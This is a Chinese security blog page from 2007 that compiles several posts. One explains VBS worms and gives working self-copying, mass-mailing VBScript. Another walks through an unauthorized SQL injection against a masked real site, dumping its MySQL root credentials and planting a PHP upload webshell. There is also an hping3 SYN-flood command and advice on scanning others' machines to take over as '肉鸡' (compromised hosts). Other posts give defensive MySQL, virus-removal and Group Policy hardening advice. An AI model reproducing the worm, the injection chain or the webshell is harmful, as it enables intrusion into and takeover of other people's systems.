Vb script和java script是由微软操作系统的wsh(Windows Scripting HostWindows脚本主机)解析并执行的,由于其编程非常简单,所以此类脚本病毒在网上疯狂传播,疯狂一时的爱虫病毒就是一种vbs脚本病毒,然后伪装成邮件附件诱惑用户点击运行,更为可怕的是,这样的病毒是以源代码的形式出现的,只要懂得一点关于脚本编程的人就可以修改其代码,形成各种各样的变种。

下面以一个简单的脚本为例:

Set objFs=Cr&#101;ateObject (“Scripting.FileSystemObject”)
(创建一个文件系统对象)objFs.Cr&#101;ateTextFile ("C:\virus.txt", 1)
(通过文件系统对象的方法创建了TXT文件)



如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为:


objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs")


就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征——自我复制能力。

此类病毒往往是通过邮件传播的,在vb script中调用邮件发送功能也非常的简单,病毒往往采用的方法是向outlook中的地址薄中的邮件地址发送带有包含自身的邮件来达到传播目的,一个简单的实例如下:


Set objOA=Wscript.Cr&#101;ateObject ("Outlook.Application")
(创建一个OUTLOOK应用的对象)Set objMapi=objOA.GetNameSpace ("MAPI")
(取得MAPI名字空间)For i=1 to objMapi.AddressLists.Count(遍历地址簿)
Set objAddList=objMapi.AddressLists (i)
For j=1 To objAddList. AddressEntries.Count Set
objMail=objOA.Cr&#101;ateItem (0) objMail.Recipients.Add
(objAddList. AddressEntries
(j))
(取得收件人邮件地址 )objMail.Subject="你好!"
(设置邮件主题,这个往往具有很大的诱惑性质)
objMail.Body="这次给你的附件,是我的新文档!"
(设置信件内容)objMail.Attachments.Add (“c:\virus.vbs")
(把自己作为附件扩散出去 )objMail.Send(发送邮件)
NextNext Set objMapi=Nothing(清空objMapi变量,释放资源)
set objOA=Nothing(清空objOA变量)




这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。这就是蠕虫的传播性。

由此可以看出,利用vb script编写病毒是非常容易的,这就使得此类病毒的变种繁多,破坏力极大,同时也是非常难以根除的!

4.个人用户对蠕虫病毒的防范措施

通过上述的分析,我们可以知道,病毒并不是非常可怕的,网络蠕虫病毒对个人用户的攻击主要还是通过社会工程学,而不是利用系统漏洞!所以防范此类病毒需要注意以下几点:

(1)购合适的杀毒软件!网络蠕虫病毒的发展已经使传统的杀毒软件的“文件级实时监控系统”落伍,杀毒软件必须向内存实时监控和邮件实时监控发展!另外面对防不胜防的网页病毒,也使得用户对杀毒软件的要求越来越高!在杀毒软件市场上,赛门铁克公司的norton系列杀毒软件在全球具有很大的比例!经过多项测试,norton杀毒系列软件脚本和蠕虫阻拦技术能够阻挡大部分电子邮件病毒,而且对网页病毒也有相当强的防范能力!目前国内的杀毒软件也具有了相当高的水平。像瑞星,kv系列等杀毒软件,在杀毒软件的同时整合了防火强功能,从而对蠕虫兼木马程序有很大克制作用。

(2)经常升级病毒库,杀毒软件对病毒的查杀是以病毒的特征码为依据的,而病毒每天都层出不穷,尤其是在网络时代,蠕虫病毒的传播速度快,变种多,所以必须随时更新病毒库,以便能够查杀最新的病毒!

(3)提高防杀毒意识.不要轻易去点击陌生的站点,有可能里面就含有恶意代码!

当运行IE时,点击“工具→Internet选项→安全→ Internet区域的安全级别”,把安全级别由“中”改为“高” 。因为这一类网页主要是含有恶意代码的ActiveX或Applet、 JavaScript的网页文件 ,所以在IE设置中将ActiveX插件和控件、Java脚本等全部禁止就可以大大减少被网页恶意代码感染的几率。具体方案是:在IE窗口中点击“工具”→“Internet选项”,在弹出的对话框中选择“安全”标签,再点击“自定义级别”按钮,就会弹出“安全设置”对话框,把其中所有ActiveX插件和控件以及与Java相关全部选项选择“禁用”。但是,这样做在以后的网页浏览过程中有可能会使一些正常应用ActiveX的网站无法浏览。

(4)不随意查看陌生邮件,尤其是带有附件的邮件,由于有的病毒邮件能够利用ie和outlook的漏洞自动执行,所以计算机用户需要升级ie和outlook程序,及常用的其他应用程序!

三、小结

网络蠕虫病毒作为一种互联网高速发展下的一种新型病毒,必将对网络产生巨大的危险。在防御上,已经不再是由单独的杀毒厂商所能够解决,而需要网络安全公司,系统厂商,防病毒厂商及用户共同参与,构筑全方位的防范体系!

蠕虫和黑客技术的结合,使得对蠕虫的分析,检测和防范具有一定的难度,同时对蠕虫的网络传播性,网络流量特性建立数学模型也是有待研究的工作!

推荐日志 IPC$ 扫描和IPC$漏洞的防范

[ 2007-03-25 03:58:11 | 作者: sun ]
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。简单点说就是通过你的系统帐号和密码登陆你的系统的一个通道!而 IPC$ 并不算是一个漏洞,但因一般电脑用户设置系统的密码为空,这就成为一个可给利用的漏洞了!别人用管理员权限的帐号和空密码登陆你的系统后,别人就可以开共享,执行命令、程序、木马,还可以删除你的系统文件,危险性极大!

怎样防范
--------------------------------------------------------------------
请把你系统帐号设置为非空的密码,而密码不能太简单!这样,别人就扫描不出你的密码!当然要你记得住,如果自己都记不住那就。。。。
请加一个防火墙,把IPC相关的端口禁止外网访问!
端口如下:
要禁止TCP的端口,135,139,445
要禁止UDP的端口 137 (这是读取你机子名字的端口,MAC扫描就是扫描这个端口的)
这样,别人利用IPC$(也就是常说的肉鸡扫描)就扫不到你机子了!
如果禁止所以人连接你的 135 137 139 445 端口后,如果你是在一个局域网里,那共享功能也无效了!可以设置防火墙允许局域网用户通过,就可以解决共享问题!
如果你是一台机上网的,根本不用共享的功能,你可以关掉如下服务:
Computer Browser
Server
Workstation
这样,IPC就不建立了,IPC入侵就不能成功,但防火墙还是要开,因为有些工具还是可以通过
135端口的WMI服务,进行入侵!


啊D工具扫描,使用注意!
-------------------------------------------------------------------------------------------------------
当你使用啊D工具包进行扫描时,你也不想成为肉鸡,请把你的帐号密码不要设置为空,
并帐号的密码不能太过简单,并使用防火墙禁止 135,139,445端口!
UDP的137 端口必须开放,如果不开发,扫不到肉鸡!
也请把下面的服务开启!
Computer Browser
Server
Workstation

如上设置,你可以扫到别人,别人扫描不到你!这样就可以进行漏洞检测了!

推荐日志 记一次安全检测的全部过程

[ 2007-03-25 03:57:56 | 作者: sun ]
copy from 至尊宝&#39;s Blog

>>>>>>记一次安全检测<<<<<<

测试站点如下

http://www.******.com

找个踩点

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830

提交一个 &#39;

返回结果

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in

/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 135

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in

/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 140

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in

/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 154

路径出来了,继续安检.

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830&#39;and 1=1 #

返回错误,不是字符型.

注明:%23是#

提交 and 1=1 返回正常

提交 and 1=2 返回不正常

接下来就是 union 语句

and 1=1 union sel&#101;ct 1 返回不正常

and 1=1 union sel&#101;ct 1,2 返回不正常

and 1=1 union sel&#101;ct 1,2,3 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11,12 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11,12,13 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11,12,13,14 返回正常

猜到 14 就正常了 继续下一步.

一般这样的站点基本上后台是不可能那么容易让我们找到的..

还是先看看有没有再说吧..

猜猜常用的路径.

login.php
admin.php
admin_login.php
admin_index.php
admin/login.php
admin/admin.php
admin/admin_login.php
admin/admin_index.php
manage/index.php
manage/login.php
manage/admin_login.php
manage/admin_index.php

等等.有耐心的可以慢慢去猜.就算猜到了也没什么用.

我们还是用比较直接的方法吧.直接用 load_file 读取文件内容

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11,12,13,14

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11,12,13,14
里面的 and 1=1 变成 and 1=2

返回结果如下:

2

就在2的位置暴了我们需要的文件内容.

我们就从 /var/www/html/zhaobiao/zhaobiao_hy_show.php

直接用 load_file(&#39;/var/www/html/zhaobiao/zhaobiao_hy_show.php&#39;)

前提是要把 /var/www/html/zhaobiao/zhaobiao_hy_show.php 转换成 16 进制

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union sel&#101;ct 1,load_file

(0x2F7661722F7777772F68746D6C2F7A68616F6269616F2F7A68616F6269616F5F68795F73686F772E706870),3,4,5,6,7,8,9,10,11,12,13,14

返回结果

0 o&#114; $regdate>mysql_result($query,0,&#39;yxdate&#39;)){?>

  ",mysql_result($query,0,&#39;sm&#39;));?>

不要管这些,直接查看源文件找到了一个 inc.php 的文件 然后配合前面的路径

/var/www/html/inc.php

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union sel&#101;ct 1,load_file

(0x2F7661722F7777772F68746D6C2F696E632E706870),3,4,5,6,7,8,9,10,11,12,13,14

暴一下 返回看不到内容 直接查看源文件

<?
$myconn=mysql_connect(&#39;localhost&#39;,&#39;root&#39;,&#39;www.******.comy0p5h1i0&#39;);
mysql_sel&#101;ct_db(&#39;mlk&#39;);
?>

Mysql 直接暴出来了..

下一步就是登陆 Mysql 然后插入自己准备好的小马..

use mlk;
cr&#101;ate table mmxy (cmd TEXT);
ins&#101;rt into mmxy values(&#39;<?php&#39;);
ins&#101;rt into mmxy values(&#39;$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "Successful" : "failure";&#39;);
ins&#101;rt into mmxy values(&#39;echo $msg;&#39;);
ins&#101;rt into mmxy values(&#39;?>&#39;);
ins&#101;rt into mmxy values(&#39;<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">&#39;);
ins&#101;rt into mmxy values(&#39;<input NAME="MyFile" TYPE="file">&#39;);
ins&#101;rt into mmxy values(&#39;<input VALUE="Up" TYPE="submit"></form>&#39;);
sel&#101;ct * from mmxy into outfile &#39;/var/www/html/zhaobiao/mmxy.php&#39;;

推荐日志 数据安全之MySQL安全的二十三条军规

[ 2007-03-25 03:57:41 | 作者: sun ]

使用MySQL,安全问题不能不注意。以下是MySQL提示的23个注意事项:

1.如果客户端和服务器端的连接需要跨越并通过不可信任的网络,那么就需要使用SSH隧道来加密该连接的通信。

2.用set password语句来修改用户的密码,三个步骤,先“mysql -u root”登陆数据库系统,然后“mysql> up&#100;ate mysql.user set password=password(&#39;newpwd&#39;)”,最后执行“flush privileges”就可以了。

3.需要提防的攻击有,防偷听、篡改、回放、拒绝服务等,不涉及可用性和容错方面。对所有的连接、查询、其他操作使用基于ACL即访问控制列表的安全措施来完成。也有一些对SSL连接的支持。

4.除了root用户外的其他任何用户不允许访问mysql主数据库中的user表;

加密后存放在user表中的加密后的用户密码一旦泄露,其他人可以随意用该用户名/密码相应的数据库;

5.用grant和revoke语句来进行用户访问控制的工作;

6.不使用明文密码,而是使用md5()和sha1()等单向的哈系函数来设置密码;

7.不选用字典中的字来做密码;

8.采用防火墙来去掉50%的外部危险,让数据库系统躲在防火墙后面工作,或放置在DMZ区域中;

9.从因特网上用nmap来扫描3306端口,也可用telnet server_host 3306的方法测试,不能允许从非信任网络中访问数据库服务器的3306号TCP端口,因此需要在防火墙或路由器上做设定;

10.为了防止被恶意传入非法参数,例如wh&#101;re ID=234,别人却输入wh&#101;re ID=234 o&#114; 1=1导致全部显示,所以在web的表单中使用&#39;&#39;或""来用字符串,在动态URL中加入%22代表双引号、%23代表井号、%27代表单引号;传递未检查过的值给mysql数据库是非常危险的;

11.在传递数据给mysql时检查一下大小;

12.应用程序需要连接到数据库应该使用一般的用户帐号,只开放少数必要的权限给该用户;

13.在各编程接口(C C++ PHP Perl Java JDBC等)中使用特定‘逃脱字符’函数;

在因特网上使用mysql数据库时一定少用传输明文的数据,而用SSL和SSH的加密方式数据来传输;

14.学会使用tcpdump和strings工具来查看传输数据的安全性,例如tcpdump -l -i eth0 -w -src o&#114; dst port 3306 | strings。以普通用户来启动mysql数据库服务;

15.不使用到表的联结符号,选用的参数 --skip-symbolic-links;

16.确信在mysql目录中只有启动数据库服务的用户才可以对文件有读和写的权限;

17.不许将process或super权限付给非管理用户,该mysqladmin processlist可以列举出当前执行的查询文本;super权限可用于切断客户端连接、改变服务器运行参数状态、控制拷贝复制数据库的服务器;

18.file权限不付给管理员以外的用户,防止出现load data &#39;/etc/passwd&#39;到表中再用sel&#101;ct 显示出来的问题;

19.如果不相信DNS服务公司的服务,可以在主机名称允许表中只设置IP数字地址;

20.使用max_user_connections变量来使mysqld服务进程,对一个指定帐户限定连接数;

21.grant语句也支持资源控制选项;

22.启动mysqld服务进程的安全选项开关,--local-infile=0或1 若是0则客户端程序就无法使用local load data了,赋权的一个例子grant ins&#101;rt(user) on mysql.user to &#39;user_name&#39;@&#39;host_name&#39;;若使用--skip-grant-tables系统将对任何用户的访问不做任何访问控制,但可以用mysqladmin flush-privileges或mysqladmin reload来开启访问控制;默认情况是show databases语句对所有用户开放,可以用--skip-show-databases来关闭掉。

23.碰到Error 1045(28000) Access Denied for user &#39;root&#39;@&#39;localhost&#39; (Using password:NO)错误时,你需要重新设置密码,具体方法是:先用--skip-grant-tables参数启动mysqld,然后执行mysql -u root mysql,mysql>up&#100;ate user set password=password(&#39;newpassword&#39;) wh&#101;re user=&#39;root&#39;;mysql>Flush privileges;,最后重新启动mysql就可以了。

推荐日志 DDoS防范和全局网络安全的应对

[ 2007-03-25 03:57:30 | 作者: sun ]

技术

拒绝服务技术的创新已经基本尘埃落定,而上个世纪最后十年的发明也逐渐遥远。然而,随着宽带接入、自动化和如今家庭计算机功能的日益强大,使得对拒绝服务攻击的研究有些多余。尤其是当我们发现一些本已在90年代末销声匿迹的古老的攻击方式,(例如land ,其使用类似的源和目标 IP 地址和端口发送 UDP 信息包)这些攻击技术 现在又卷土重来时,这个结论就更加显而易见。在这一方面唯一的进步就是可以发起并行任务,从而可以通过简单的 486 处理器所无法实现的方式来显著提高攻击强度。


另一个要考虑的重点是事实上IP堆栈似乎并未正确地安装补丁程序。计算机不再会因为单一的信息包而崩溃;但是,CPU操作会为了处理这种信息包而保持高速运行。因为补丁失效期间生成的信息包是有限的,所以要实现有效的攻击并不容易。可能是技术提高得太快。不管是什么原因,这些陈旧过时的攻击方式现在又卷土重来,而且还非常有效。


使用拒绝服务


拒绝服务攻击开始可能只是为了“取乐”,对系统操作员进行某种报复或是实现各种复杂的攻击,例如对远程服务的隐形欺骗。某人因在某一信道上遭到侮辱后也经常会将IRC服务器作为攻击目标。这种情况下的网络和因特网使用是“保密的”,这些攻击对其造成的影响微乎其微。


随着时间的流逝,因特网逐渐成为一种通信渠道,hacktivism(网络激进主义)越来越流行。地理政治形势、战争、宗教问题、生态等任何动机都可能成为对公司、政治组织或甚至国家的IT基础架构发动进攻的动机。


最近的拒绝服务攻击更多的是与联机游戏有关。某些玩家对在游戏中被人杀死或丢失他们喜爱的武器不满意,因此发动拒绝服务攻击,许多服务器已经成为这种攻击的牺牲品。


但是如今使用拒绝服务的目的大多数是纯粹的敲诈勒索。越来越多的企业开始依赖他们的IT基础架构。邮件、关键数据、甚至电话都通过网络来处理。如果没有这些主要的通信渠道,大多数公司都难以在竞争中幸存。而且,因特网还是一种生产工具。例如,搜索引擎和博彩web 站点都完全依赖网络连接。


因此,随着公司直接或间接地依赖因特网,原有的敲诈信逐渐转变成数字形式。首先在短暂而非紧要的时间段内发动攻击。然后受害者就不得不支付“保护费”。


网络协议攻击


这些攻击瞄准传输信道,并因此以IP堆栈作为攻击目标,IP堆栈是内存和 CPU 之类关键资源的进入点。


SYN洪水


SYN洪水是典型的基于概念的拒绝服务攻击,因为这种攻击完全依赖于TCP连接的建立方式。在最初的 3 向握手期间,服务器填写保存内存中会话信息的 TCB(传输控制块)表。当服务器收到来自客户机的初始 SYN 信息包时,向客户机发送回一个 SYN-ACK 信息包并在 TCB 中创建一个入口。只要服务器在等待来自客户机的最终 ACK 信息包,该连接便处于 TIME_WAIT 状态。如果最终没有收到 ACK 信息包,则将另一个 SYN-ACK 发送到客户机。最后,如果经多次重试后,客户机没有认可任何 SYN-ACK 信息包,则关闭会话并从 TCB 中刷新会话。从传输第一个 SYN-ACK 到会话关闭这段时间通常大约为 30 秒。


在这段时间内,可能会将数十万个SYN信息包发送到开放的端口且绝不会认可服务器的SYN-ACK 信息包。TCB 很快就会超过负荷,且堆栈无法再接受任何新的连接并将现有的连接断开。因为攻击者不用接收来自服务器的 SYN-ACK 信息包,所以他们可以伪造初始 SYN 信息包的源地址。这就使得跟踪攻击的真实来源更加困难。此外,因为 SYN-ACK 信息包没有发送到攻击者,所以这样还为攻击者节省了带宽。


生成这种攻击很容易,只要在命令行输入一条命令就足够了。


#hping3--rand-source–S –L 0 –p


存在的变体也很少,通常为了增加CPU的使用率会将某些异常添加到SYN 信息包。这些可能是序列号或源端口0等合法的异常。



SYN-ACK洪水


SYN-ACK洪水的作用基础是令CPU资源枯竭。从理论上讲,这种信息包是 TCP 3 向握手的第二步,而且在 TCB 中应该有对应的入口。浏览 TCB 将会使用 CPU 资源,尤其 TCB 很大时会耗用更多的 CPU 资源。因此,负荷较重时,这种对资源的使用会影响系统性能。


这也就是SYN-ACK攻击所仰仗的利器。向系统发送一个巨荷的SYN-ACK 信息包会显著增加系统 CPU 的使用率。因此,用于组织 TCB 的哈希算法和哈希表大小之选择会影响攻击的效率(请参阅“概念”和“逻辑缺陷”)。而且,因为这些 SYN-ACK 信息包不属于现有的连接,所以目标机器不得不将 RST 信息包发送到源机器,从而增加了链路上的带宽占用率。对于 SYN 洪水,攻击者为了避免接收到 RST,当然可以伪造源机器的 IP 地址,这样还可以提高攻击者的可用带宽。


这也只需要一条简单的命令就可以进行这种攻击。


一个重要因子是由第三方服务器基于反射机制而生成SYN-ACK信息包的能力。在将SYN 信息包发送到服务器的开放端口时,该服务器将 SYN-ACK 信息包发送回源机器。此时任何服务器都可能为这种攻击充当中继。发送到服务器的简单 SYN 信息包带有伪造的源,其发送到目标时生成 SYN-ACK 返回目标。这种技术让跟踪更加困难。而且,在某些情况下,还可以绕过某些防伪机制。尤其当目标和攻击者属于同一干道而且部署的 uRPF (参阅“防伪”) 距离目标机器和攻击者足够远时,更有可能避开防伪机制。


通过与SYN洪水联结还可以提高此种攻击的强度。SYN洪水在TCB 中创建入口,而TCB因此变得越来越大。由于此时浏览 TCB 所需的时间更长,所以 SYN-ACK 洪水的功效大大增加。


UDP洪水


UDP同样天生就是拒绝服务攻击的传播媒介。按照指定,在封闭端口上接收UDP信息包的服务器将无法到达 ICMP 端口的信息包发送回给源机器。ICMP 信息包的数据部分填充有原始 UDP 信息包中的至少前 64 个字节。因为没有标准限度或额度,所以很可能在封闭的端口上发送巨量的信息包。在为生成 ICMP 而进行负荷极大的必需操作时,,错误的信息包消耗了大量 CPU 资源,最终导致CPU 资源枯竭。


同样,也可以从命令行生成这种攻击。而且,也可以通过伪造而使得ICMP信息包不会降低攻击者的带宽。

推荐日志 保护系统技巧 处理另类无法删除病毒

[ 2007-03-25 03:57:17 | 作者: sun ]
随着不限时宽带的普及,为了方便BT下载,很多朋友都爱24小时挂机。全天候的在线,这给一些病毒、木马“入侵”系统带来了极大便利,他们可以在半夜入侵我们的电脑,肆意为非作歹。近日笔者在帮助一位朋友杀毒的时候,就遭遇一个“无法删除的病毒”,下面将查杀经验与大家共享。

1.惊现病毒。朋友的电脑安装的是Windows XP专业版,近来常常彻夜开机用BT下载电影,没想到在一次开机的时候,Norton就报告在下发现病毒“exporer.exe”,不过使用Norton扫描后,虽然可以发现病毒,但Norton提示无法隔离和删除病毒文件。

2.查杀。一般来说,病毒如果无法被直接删除,大多是由于病毒进程在运行导致的,打开任务管理器,找到病毒进程“exporer.exe”顺利将其终止,按照Norton提供病毒文件路径,找到病毒文件后,按住Shift键右击选择“删除”,奇怪的是系统却提示无法删除文件,再次打开任务管理器,我已经确信病毒进程被终止了,而且也不是在写保护状态,为什么无法删除?我试图把文件夹删除,但同样遭到系统拒绝,重启电脑多次仍然是同样的结果。

后来笔者在查看“exporer.exe”属性(看看文件生成日期和大小,以便搜索一下病毒还有没有同伙)时,意外发现属性窗口还有一个“安全”标签,点击后可以看到在用户权限列表“特别权限”的拒绝选项被打上小勾,会不会是文件权限不够导致无法删除?单击的“高级”按钮,在弹出的窗口我看到一个“拒绝删除”的权限,单击“编辑”终于看到文件无法删除的真正原因了,原来当前用户的删除权限被施毒者设置为拒绝了,但是却允许“读取和运行,取消拒绝的权限后,返回文件属性窗口,勾选“允许完全控制”,单击“确定”退出后顺利删除“exporer.exe”。

小提示

文件(夹)属性“安全”标签只会在NTFS格式的分区出现,如果看不到此标签,打开我的电脑,单击“工具→文件夹选项→查看”,然后在高级设置选项下去除“简单文件共享(推荐)”前的小勾。

笔者在删除“exporer.exe” 后试图删除文件夹,遭到系统拒绝后,通过查看文件夹的“安全”属性,同样可以发现删除权限(删除子文件夹及文件、删除)被拒绝了,同上,取消这个限制后顺利把病毒“扫地出门”。对于文件(夹),如果是由于权限原因被拒绝操作,一般将权限设置为“完全控制”即可。

小技巧

(1)权限是可以继承的,有时候打开某个文件安全属性标签后,可能在图4不会有“拒绝删除”权限,但是如果它的父文件夹设置了“拒绝删除子文件夹及文件”,该文件还是无法被删除的,解决方法是将文件权限设置为完全控制。

(2)文件权限是和文件所有者相关联的,对于办公室多帐户电脑,一些别有用心的人可能还会将木马和用户对应起来(以针对电脑操作水平较低帐户,警惕性不高易于窃取资料),如果发现木马毒会和对应帐户关联,即有些用户登录后木马会运行,而有些则不会(木马文件权限被设置为禁止读取和删除),这时可以用系统管理员身份登录,强行将木马文件所有者更改为当前用户,然后设置为完全控制将木马删除。

(3)一点经验。Windows XP/2000的文件(夹)权限,是系统一项特殊功能,它允许灵活设置不同用户的不同权限,一些牧马者通过将病毒程序文件设置为允许“读取和运行”、拒绝“删除”,从而实现更好的“自我保护”。由于更改文件权限操作比较复杂,施毒者一般要在宿主机上亲自操作,对于喜爱全天候挂机的朋友,安装一款防护能力较好的防火墙,关闭一些不必要端口,可以有效防止此类病毒的袭击,如果发现病毒无法删除,在终止进程情况下,大家一定要看看文件权限是否被更改了。
在本篇技术指南中,将概要介绍你如何修改最重要的组策略安全设置。



你可以在采用Windows XP、2000和Server 2003操作系统的本地计算机上使用这些方法,或者在Server 2003和2000中的OU域名级上使用这些方法。为了简明扼要和提供最新的信息,我准备介绍一下如何设置基于Windows Server 2003的域名。请记住,这些只是你在你的域名中能够设置的组策略对象中最有可能出现问题的。按照我的观点,这些设置可以保持或者破坏Windows的安全。而且由于设置的不同,你的进展也不同。因此,我鼓励你在使用每一个设置之前都进行深入的研究,以确保这些设置能够兼容你的网络。如果有可能的话,对这些设置进行试验(如果你很幸运有一个测试环境的话)。


如果你没有进行测试,我建议你下载和安装微软的组策略管理控制台(GPMC)来做这些改变。这个程序能够把组策略管理任务集中到一个单一的界面让你更全面地查看你的域名。要开始这个编辑流程,你就上载GPMC,扩展你的域名,用鼠标右键点击“缺省域名策略”,然后选择“编辑”。这样就装载了组策略对象编辑器。如果你要以更快的速度或者“次企业级”的方式编辑你的域名组策略对象,你可以在“开始”菜单中运行“gpedit.msc”。


1.确定一个缺省的口令策略,使你的机构设置位于“计算机配置/Windows设置/安全设置/账号策略/口令策略”之下。


2.为了防止自动口令破解,在“计算机配置/Windows设置/安全设置/账号策略/账号关闭策略”中进行如下设置:


·账号关闭持续时间(确定至少5-10分钟)


·账号关闭极限(确定最多允许5至10次非法登录)


·随后重新启动关闭的账号(确定至少10-15分钟以后)


3.在“计算机配置/Windows设置/安全设置/本地策略/检查策略”中启用如下功能:


·检查账号管理


·检查登录事件


·检查策略改变


·检查权限使用


·检查系统事件


理想的情况是,你要启用记录成功和失败的登录。但是,这取决于你要保留什么类型的记录以及你是否能够管理这些记录。Roberta Bragg在这里介绍了一些普通的检查记录设置。要记住,启用每一种类型的记录都需要你的系统处理器和硬盘提供更多的资源。


4.作为增强Windows安全的最佳做法和为攻击者设置更多的障碍以减少对Windows的攻击,你可以在“计算机配置/Windows设置/安全设置/本地策略/安全选项”中进行如下设置:


·账号:重新命名管理员账号--不是要求更有效而是增加一个安全层(确定一个新名字)


·账号:重新命名客户账号(确定一个新名字)


·交互式登录:不要显示最后一个用户的名字(设置为启用)


·交互式登录:不需要最后一个用户的名字(设置为关闭)


·交互式登录: 为企图登录的用户提供一个消息文本(确定为让用户阅读banner text(旗帜文本),内容大致为“这是专用和受控的系统。


如果你滥用本系统,你将受到制裁。--首先让你的律师运行这个程序)


·交互式登录: 为企图登录的用户提供的消息题目--在警告!!!后面写的东西


·网络接入:不允许SAM账号和共享目录(设置为“启用”)


·网络接入:将“允许每一个人申请匿名用户”设置为关闭


·网络安全:“不得存储局域网管理员关于下一个口令变化的散列值”设置为“启用”


·关机:“允许系统在没有登录的情况下关闭”设置为“关闭”


·关机:“清除虚拟内存的页面文件”设置为“启用”


如果你没有Windows Server 2003域名控制器,你在这里可以找到有哪些Windows XP本地安全设置的细节,以及这里有哪些详细的Windows 2000 Server组策略的设置。要了解更多的有关Windows Server 2003组策略的信息,请查看微软的专门网页。